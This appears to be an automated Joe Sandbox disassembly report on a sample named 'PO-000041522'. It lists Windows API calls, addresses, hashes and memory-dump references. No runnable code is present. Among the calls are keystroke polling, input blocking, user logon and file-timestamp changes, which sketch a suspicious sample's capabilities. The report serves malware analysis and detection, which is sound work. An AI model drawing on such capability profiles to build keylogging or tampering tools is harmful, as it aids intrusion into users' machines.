                                                                                                • API String ID: 4170576061-0
                                                                                                • Opcode ID: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
                                                                                                • Instruction ID: 44a7e99483396e6262e636993c5e510db402c36a24f0b6146f21617b09e75fab
                                                                                                • Opcode Fuzzy Hash: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
                                                                                                • Instruction Fuzzy Hash: B6412C7164030067E720BB3A8C83F5A72D89F40728F144D5EF954BB2C3D6BAAD45475D
                                                                                                APIs
                                                                                                • GetCursorPos.USER32(004A83D8), ref: 0045636A
                                                                                                • ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                                                                                                • GetAsyncKeyState.USER32(?), ref: 004563D0
                                                                                                • GetAsyncKeyState.USER32(?), ref: 004563DC
                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00456430
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: AsyncState$ClientCursorLongScreenWindow
                                                                                                • String ID:
                                                                                                • API String ID: 3539004672-0
                                                                                                • Opcode ID: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                                                                                                • Instruction ID: 0eacbf52c9ff4b21db6d2500407d28a57be55752a0539e191fb639d8ee6a043b
                                                                                                • Opcode Fuzzy Hash: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                                                                                                • Instruction Fuzzy Hash: 8E416071108341ABD724DF55CD84EBBB7E9EF86725F540B0EB8A543281C734A848CB6A
                                                                                                APIs
                                                                                                  • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                                • IsWindowVisible.USER32 ref: 00477314
                                                                                                • IsWindowEnabled.USER32 ref: 00477324
                                                                                                • GetForegroundWindow.USER32(?,?,?,00000001,?,?), ref: 00477331
                                                                                                • IsIconic.USER32 ref: 0047733F
                                                                                                • IsZoomed.USER32 ref: 0047734D
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                                                                • String ID:
                                                                                                • API String ID: 292994002-0
                                                                                                • Opcode ID: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
                                                                                                • Instruction ID: c753cb395bd8887e5e04db90522a3107d7308fd2cfa588f53a4db7a4177bc043
                                                                                                • Opcode Fuzzy Hash: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
                                                                                                • Instruction Fuzzy Hash: 351172327041119BE3209B26DD05B9FB7A8AF91310F05882EFC49E7250D7B8EC42D7A9
                                                                                                APIs
                                                                                                • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000,771B3220,00000000,00000000,00442E95,?,?,?), ref: 00436D4F
                                                                                                • SetFileTime.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 00436D8C
                                                                                                • CloseHandle.KERNEL32(00000000,?,?,?,00000000), ref: 00436D93
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: File$CloseCreateHandleTime
                                                                                                • String ID:
                                                                                                • API String ID: 3397143404-0
                                                                                                • Opcode ID: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                                                                                                • Instruction ID: bce1a9391340f9688fe0750810cd2cb1b104417d8b3c1e96578cdf6de8724fbd
                                                                                                • Opcode Fuzzy Hash: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                                                                                                • Instruction Fuzzy Hash: A4F0C83634132077E5301A69AC8DFCF276CABDAB32F20452EF741A61C083D51445977D
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _strncmp
                                                                                                • String ID: ACCEPT$^$h
                                                                                                • API String ID: 909875538-4263704089
                                                                                                • Opcode ID: adbbb77bd847cefbadd23aa8e42bde8f813033e7c46a43322acc698efb747d92
                                                                                                • Instruction ID: 72a2cba82410d8b1d90f72ff5cad5771b474d57714a55a9933f2c727144888ce
                                                                                                • Opcode Fuzzy Hash: adbbb77bd847cefbadd23aa8e42bde8f813033e7c46a43322acc698efb747d92
                                                                                                • Instruction Fuzzy Hash: AE22A0746083818FE725CF29C48076BBBE2BFC9304F24896EE8D587351D779984ACB56
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID: ERCP$VUUU$VUUU$VUUU
                                                                                                • API String ID: 0-2165971703
                                                                                                • Opcode ID: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                                                                                                • Instruction ID: 514654dd073cfe12bfc68f6c44a091d7a3824994b709b832431b3f3de6bbd106
                                                                                                • Opcode Fuzzy Hash: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                                                                                                • Instruction Fuzzy Hash: 5562D3716087818BE734CF18C8807ABB7E1EBC6314F154A2FE49986390E779D949CB5B
                                                                                                APIs
                                                                                                • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045C9BE
                                                                                                • FindNextFileW.KERNEL32(00000000,?), ref: 0045CA1B
                                                                                                • FindClose.KERNEL32(00000000,00000001,00000000), ref: 0045CA4A
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Find$File$CloseFirstNext
                                                                                                • String ID:
                                                                                                • API String ID: 3541575487-0
                                                                                                • Opcode ID: ecd451ca94e8c171abf8b5376291faf96e6fe6c5ddeeb2909304e4b4baf54b28
                                                                                                • Instruction ID: 18858b47483a38653cd59612877c1399ad483e9f26b014a4aa46912757e3bc7b
                                                                                                • Opcode Fuzzy Hash: ecd451ca94e8c171abf8b5376291faf96e6fe6c5ddeeb2909304e4b4baf54b28
                                                                                                • Instruction Fuzzy Hash: EC41CE756003009FC720EF79D880A9BB3E4FF89315F208A6EED698B391D775A844CB95
                                                                                                APIs
                                                                                                • GetFileAttributesW.KERNEL32(00000001,00000000), ref: 00436AEF
                                                                                                • FindFirstFileW.KERNEL32(00000001,?), ref: 00436B00
                                                                                                • FindClose.KERNEL32(00000000), ref: 00436B13
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: FileFind$AttributesCloseFirst
                                                                                                • String ID:
                                                                                                • API String ID: 48322524-0
                                                                                                • Opcode ID: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                                                                                                • Instruction ID: 417b6d6de692ea6945bae3bf725251b28653fd5bce93257cef0f58e2a105c1b1
                                                                                                • Opcode Fuzzy Hash: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                                                                                                • Instruction Fuzzy Hash: 23E02236804418678600AB7CAC0C4EE779CDB0A335F100B96FE38C21D0D775A9408FEA
                                                                                                APIs
                                                                                                • __time64.LIBCMT ref: 004433A2
                                                                                                  • Part of subcall function 00414CEF: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,004341DB,00000000,?,0044248A,?,?,?,0048B850), ref: 00414CFA
                                                                                                  • Part of subcall function 00414CEF: __aulldiv.LIBCMT ref: 00414D1A
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Time$FileSystem__aulldiv__time64
                                                                                                • String ID: rJ
                                                                                                • API String ID: 2893107130-1865492326
                                                                                                • Opcode ID: e603e75d0767fd135478995c8e8d26e9f594f0c4df67822259ddb38eb763753e
                                                                                                • Instruction ID: ebc1a5536eae3429eadb0b33e849de59894c076497330b79c1ff8485d89898ec
                                                                                                • Opcode Fuzzy Hash: e603e75d0767fd135478995c8e8d26e9f594f0c4df67822259ddb38eb763753e
                                                                                                • Instruction Fuzzy Hash: B721A2336205108BF321CF36CC41652B7E7EBE0314F268A6AE4A5973C5CA797906CB98
                                                                                                APIs
                                                                                                • __time64.LIBCMT ref: 004433A2
                                                                                                  • Part of subcall function 00414CEF: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,004341DB,00000000,?,0044248A,?,?,?,0048B850), ref: 00414CFA
                                                                                                  • Part of subcall function 00414CEF: __aulldiv.LIBCMT ref: 00414D1A
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Time$FileSystem__aulldiv__time64
                                                                                                • String ID: rJ
                                                                                                • API String ID: 2893107130-1865492326
                                                                                                • Opcode ID: e8e365b2ab883cc854990c78a2143569adcb81f7322f31e235de15ec19987b7e
                                                                                                • Instruction ID: 4b4e0c3debee0a45c2bc781276f994e79ac96c452fb6cf924f1e6ade5adf298d
                                                                                                • Opcode Fuzzy Hash: e8e365b2ab883cc854990c78a2143569adcb81f7322f31e235de15ec19987b7e
                                                                                                • Instruction Fuzzy Hash: E82187336345108BF321CF36CC4165277E3EBE0314B258B6AD4A5973C5CA797906CB88
                                                                                                APIs
                                                                                                • InternetQueryDataAvailable.WININET(?,?,?,?,00000000,00000000), ref: 004428C2
                                                                                                • InternetReadFile.WININET(?,00000000,?,?), ref: 004428F9
                                                                                                  • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Internet$AvailableDataErrorFileLastQueryRead
                                                                                                • String ID:
                                                                                                • API String ID: 901099227-0
                                                                                                • Opcode ID: 0771251b70b9bd68c35fac6f7da5b5f16004994504cb59d35d549d3fc14a9ba4
                                                                                                • Instruction ID: 2c15810e60b1cb59304632cc8162977c32d0240baa2dcf3c2cd6ef22f942a6bb
                                                                                                • Opcode Fuzzy Hash: 0771251b70b9bd68c35fac6f7da5b5f16004994504cb59d35d549d3fc14a9ba4
                                                                                                • Instruction Fuzzy Hash: 452174B12043016BF220EF56DD45FAFB3E8ABD4715F40492EF285A6180D7B8E949C76A
                                                                                                APIs
                                                                                                • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045DDA1
                                                                                                • FindClose.KERNEL32(00000000), ref: 0045DDDD
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Find$CloseFileFirst
                                                                                                • String ID:
                                                                                                • API String ID: 2295610775-0
                                                                                                • Opcode ID: eac1d012b3ae473636f11b903683455954ec17c127a785734040b224e9a5f79e
                                                                                                • Instruction ID: 3577cc1601137e614a3334ffa73c6d258275d41fe8d72aaca367a27ef3e2a016
                                                                                                • Opcode Fuzzy Hash: eac1d012b3ae473636f11b903683455954ec17c127a785734040b224e9a5f79e
                                                                                                • Instruction Fuzzy Hash: DE11E5766002049FD710EF6ADC89A5AF7E5EF84325F10892EF958D7281CB75E8048B94
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID: 0vH$HH
                                                                                                • API String ID: 0-728391547
                                                                                                • Opcode ID: 96d535d6e61c6cd6e5d21badf476ce2a2faa32e114d6f0ae27a3d334794412dd
                                                                                                • Instruction ID: 538a6706abcc28c04bdc151be30d2aa4e2083a8dfdfa6c30a7857f36827e6882
                                                                                                • Opcode Fuzzy Hash: 96d535d6e61c6cd6e5d21badf476ce2a2faa32e114d6f0ae27a3d334794412dd
                                                                                                • Instruction Fuzzy Hash: 60E1BE725143109FC310EF25C881A9FB7E5AFC4708F108D2EF589AB281D779E946CB9A
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _memset
                                                                                                • String ID:
                                                                                                • API String ID: 2102423945-0
                                                                                                • Opcode ID: b8def19716de174921965326585c8a0a0c2eba4d3f226f62ebfac136bfb84777
                                                                                                • Instruction ID: fac722ae1e10b3ad9494cda40f9fb3e9e62b3c26aea04ddfc6562ea9d2065ebb
                                                                                                • Opcode Fuzzy Hash: b8def19716de174921965326585c8a0a0c2eba4d3f226f62ebfac136bfb84777
                                                                                                • Instruction Fuzzy Hash: C512B4B7B983194FDB48DEE4DCC169573E1FB98304F09A43C9A15C7306F6E8AA094794
                                                                                                APIs
                                                                                                • DefDlgProcW.USER32(?,?,?,?,004A83D8,?), ref: 0047E22C
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Proc
                                                                                                • String ID:
                                                                                                • API String ID: 2346855178-0
                                                                                                • Opcode ID: 4f476b527310cd4595d6f2246be334f82b87c4d4a511bc9a4ae10ad49a3a576c
                                                                                                • Instruction ID: e1c03c818efbd3cbf3664a0c3e659178dbc9a05004c0f073233894ce1d713c90
                                                                                                • Opcode Fuzzy Hash: 4f476b527310cd4595d6f2246be334f82b87c4d4a511bc9a4ae10ad49a3a576c
                                                                                                • Instruction Fuzzy Hash: 4EB1E63330602429E114916BBC88EBFBB9CD7D677BB208B7FF142C1582DB5B6425A179
                                                                                                APIs
                                                                                                • BlockInput.USER32(00000001), ref: 0045A272
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: BlockInput
                                                                                                • String ID:
                                                                                                • API String ID: 3456056419-0
                                                                                                • Opcode ID: f8b7596c9daf0cf449ec099d4cdbafb4be693b9bdeaa48314d03f681346fce8b
                                                                                                • Instruction ID: 5d782454ef4d0180448527013755d2523f66e5fc327f68786c1d80a86620ac83
                                                                                                • Opcode Fuzzy Hash: f8b7596c9daf0cf449ec099d4cdbafb4be693b9bdeaa48314d03f681346fce8b
                                                                                                • Instruction Fuzzy Hash: D2E04F752043019BC700EF71C545A5BB7E4AF94314F108C6EF845A7351D775AC45CB66
                                                                                                APIs
                                                                                                • LogonUserW.ADVAPI32(?,?,?,?,00000000,?), ref: 0043918E
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: LogonUser
                                                                                                • String ID:
                                                                                                • API String ID: 1244722697-0
                                                                                                • Opcode ID: 365ca9639b26e9c6c56151d88f527b1e4ffaee0f54dfd66c8778d151900be7f4
                                                                                                • Instruction ID: 63114e5cfb2c4979e73f5d19eacf740c811f86df1a08bc2cb556a5e36cce81ff
                                                                                                • Opcode Fuzzy Hash: 365ca9639b26e9c6c56151d88f527b1e4ffaee0f54dfd66c8778d151900be7f4
                                                                                                • Instruction Fuzzy Hash: 8DD0ECB52686066FD204CB24D846E2B77E9A7C4701F008A0CB196D2280C670D805CA32
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: NameUser
                                                                                                • String ID:
                                                                                                • API String ID: 2645101109-0
                                                                                                • Opcode ID: b783c70369e54a54257db95ea8fbffa2a0b511f3d9d58af1a6b6f1143851980f
                                                                                                • Instruction ID: 8011c19b6c32d183c263453b2018abc548473ce9ed5616c99acac4896e71f792
                                                                                                • Opcode Fuzzy Hash: b783c70369e54a54257db95ea8fbffa2a0b511f3d9d58af1a6b6f1143851980f
                                                                                                • Instruction Fuzzy Hash: F6E08C322083058FC310EF55F8405ABB390EB94311F004C3FE64AA2191DA79920EDFAB
                                                                                                APIs
                                                                                                • SetUnhandledExceptionFilter.KERNEL32(Function_00021FEC), ref: 00422033
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
